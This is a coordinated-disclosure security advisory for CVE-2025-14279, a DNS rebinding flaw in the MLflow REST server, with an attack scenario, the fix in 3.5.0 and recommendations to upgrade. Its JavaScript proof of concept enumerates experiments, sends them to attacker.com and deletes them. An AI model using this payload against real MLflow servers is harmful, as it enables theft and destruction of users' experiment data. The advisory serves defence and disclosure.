Author: Evan Harris
Risk: High (CVSS 8.1, CVE-2025-14279)
Affected Component: MLflow REST server (mlflow/mlflow), versions up to and including 3.4.0

TL;DR

The MLflow REST server did not validate the Origin or Host header on incoming requests, leaving it open to DNS rebinding. A victim who runs mlflow server locally and then visits a malicious website can have their browser turned into a proxy that reaches the loopback interface, bypassing the Same-Origin Policy. With no authentication on the REST API, the attacker gains full read and write access: they can enumerate experiments, exfiltrate the data to an external host, and delete experiments outright. The issue was assigned CVE-2025-14279 (CVSS 8.1, High) and fixed in MLflow 3.5.0, which adds Host-header validation and cross-origin request blocking. Users should upgrade to 3.5.0 or later.

Background

MLflow’s tracking server exposes a REST API (commonly on http://localhost:5000) that the web UI and client libraries use to create, search, update, and delete experiments and runs. By default the server runs without authentication, on the assumption that binding to localhost keeps it private.

That assumption breaks under DNS rebinding. The browser’s Same-Origin Policy is supposed to stop a page served from attacker.com from reading responses from localhost:5000, but rebinding sidesteps it by changing what a hostname resolves to after the page has loaded. Because the MLflow server accepted requests without checking where they originated, any website the victim visited could drive the local API.

Overview

%%{init: {'themeVariables': {'fontSize': '18px'}}}%%
flowchart TD
    A[Victim visits attacker site
hostname resolves to attacker IP] --> B[Attacker serves JS payload
polling for MLflow on localhost:5000] B --> C[Attacker DNS server rebinds
the hostname to 127.0.0.1
low TTL] C --> D[Browser reuses the origin string
but fetch now hits the victim's
loopback interface] D --> E[MLflow server does not validate
Origin or Host, so it accepts
the cross-origin request] E --> F["Enumerate experiments
/api/2.0/mlflow/experiments/search"] F --> G[Exfiltrate experiment data
to attacker.com] F --> H["Delete experiments
/ajax-api/2.0/mlflow/experiments/delete"] style A fill:#fff3e0 style B fill:#ffebee style C fill:#ffebee style D fill:#ffebee style E fill:#fff9c4 style F fill:#fff9c4 style G fill:#ffcdd2 style H fill:#ffcdd2

Attack Scenario

  1. The victim clones MLflow and runs the server locally with the default configuration (mlflow server), generating some experiments along the way.
  2. The attacker stands up a DNS rebinding lab, for example NCC Group’s Singularity of Origin, and drops the payload below into the framework’s payloads directory.
  3. The victim visits the attacker’s website and stays on the page long enough (under a minute) for the rebind to occur.
  4. The attacker’s DNS server first resolves the hostname to its own IP so the payload loads, then answers later queries with 127.0.0.1. The browser reuses the cached name, so the page’s fetch calls silently pivot to localhost:5000 while keeping the original origin.
  5. Because the MLflow server performs no Origin or Host validation, the requests succeed. The attacker enumerates experiments, ships the data to attacker.com, and deletes the experiments.

Proof of Concept

The payload below registers with a DNS rebinding framework. It fingerprints the target as an MLflow server, enumerates experiments through the unauthenticated REST API, exfiltrates the results to an attacker-controlled host, and then deletes each experiment. The original proof of concept is condensed here to its functional steps.

const MlFlow = () => {
    let attackExecuted = false;

    async function attack() {
        if (attackExecuted) return;
        const base = `http://${window.location.hostname}:5000`;

        // Read access: enumerate experiments via the unauthenticated REST API
        const searchResponse = await fetch(`${base}/api/2.0/mlflow/experiments/search`, {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ order_by: ["creation_time DESC"], max_results: 50 }),
        });
        const { experiments } = await searchResponse.json();
        if (!experiments?.length) { attackExecuted = true; return; }

        // Exfiltrate the experiment data to the attacker
        fetch('https://attacker.com/messages', {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ experimentData: experiments }),
        });

        // Write access: delete every experiment
        for (const experiment of experiments) {
            await fetch(`${base}/ajax-api/2.0/mlflow/experiments/delete`, {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ experiment_id: experiment.experiment_id }),
            });
            await new Promise(r => setTimeout(r, 500));
        }
        attackExecuted = true;
    }

    // Fingerprint the rebound target as an MLflow server before attacking
    async function isService() {
        const response = await fetch(`http://${window.location.hostname}:5000`);
        const body = await response.text();
        return body.includes('MLflow') || body.includes('Unable to display MLflow UI');
    }

    return { attack, isService };
};

// Register the payload with the DNS rebinding framework
Registry["MlFlow"] = MlFlow();

Impact

  • Data exfiltration: experiment metadata is read through experiments/search and shipped to an attacker-controlled host.
  • Data destruction: experiments are deleted through experiments/delete.
  • Data manipulation: the same unauthenticated write access permits update operations against experiments.
  • No credentials required: the attack works against a default mlflow server deployment, needing only that the victim visit a malicious page while the server is running.

MLflow Response

After we disclosed the issue through MLflow’s coordinated disclosure process, the maintainers addressed it in pull request #17910.

The fix introduces a security middleware layer for the server that:

  • Validates the Host header against an allowlist (localhost and private IP ranges by default) to block DNS rebinding.
  • Blocks state-changing cross-origin requests (POST, PUT, DELETE, PATCH) from non-localhost origins.
  • Adds defensive response headers (X-Frame-Options: SAMEORIGIN, X-Content-Type-Options: nosniff).

New configuration is available for deployments that legitimately need broader access, including --allowed-hosts (MLFLOW_SERVER_ALLOWED_HOSTS) and --cors-allowed-origins (MLFLOW_SERVER_CORS_ALLOWED_ORIGINS). The protections shipped in MLflow 3.5.0, and the issue was later assigned CVE-2025-14279 (CVSS 8.1, High; CWE-346, Origin Validation Error).

Recommendations

For End Users

  • Upgrade to MLflow 3.5.0 or later.
  • Keep the default --allowed-hosts and --cors-allowed-origins settings unless you have a specific reason to widen them, and never disable the security middleware on an exposed server.
  • Do not bind the MLflow server to a public or untrusted network, and put authentication or a reverse proxy in front of it if it must be reachable beyond localhost.
  • Treat a locally bound server as reachable from the browser: close or isolate local MLflow instances when browsing untrusted sites.

Timeline

Date Event
September 22, 2025 Vulnerability reported to MLflow maintainers via coordinated disclosure (issue #17877)
October 6, 2025 MLflow merges fix (PR #17910), released in v3.5.0
January 12, 2026 CVE-2025-14279 published (CVSS 8.1, High)
June 8, 2026 Public disclosure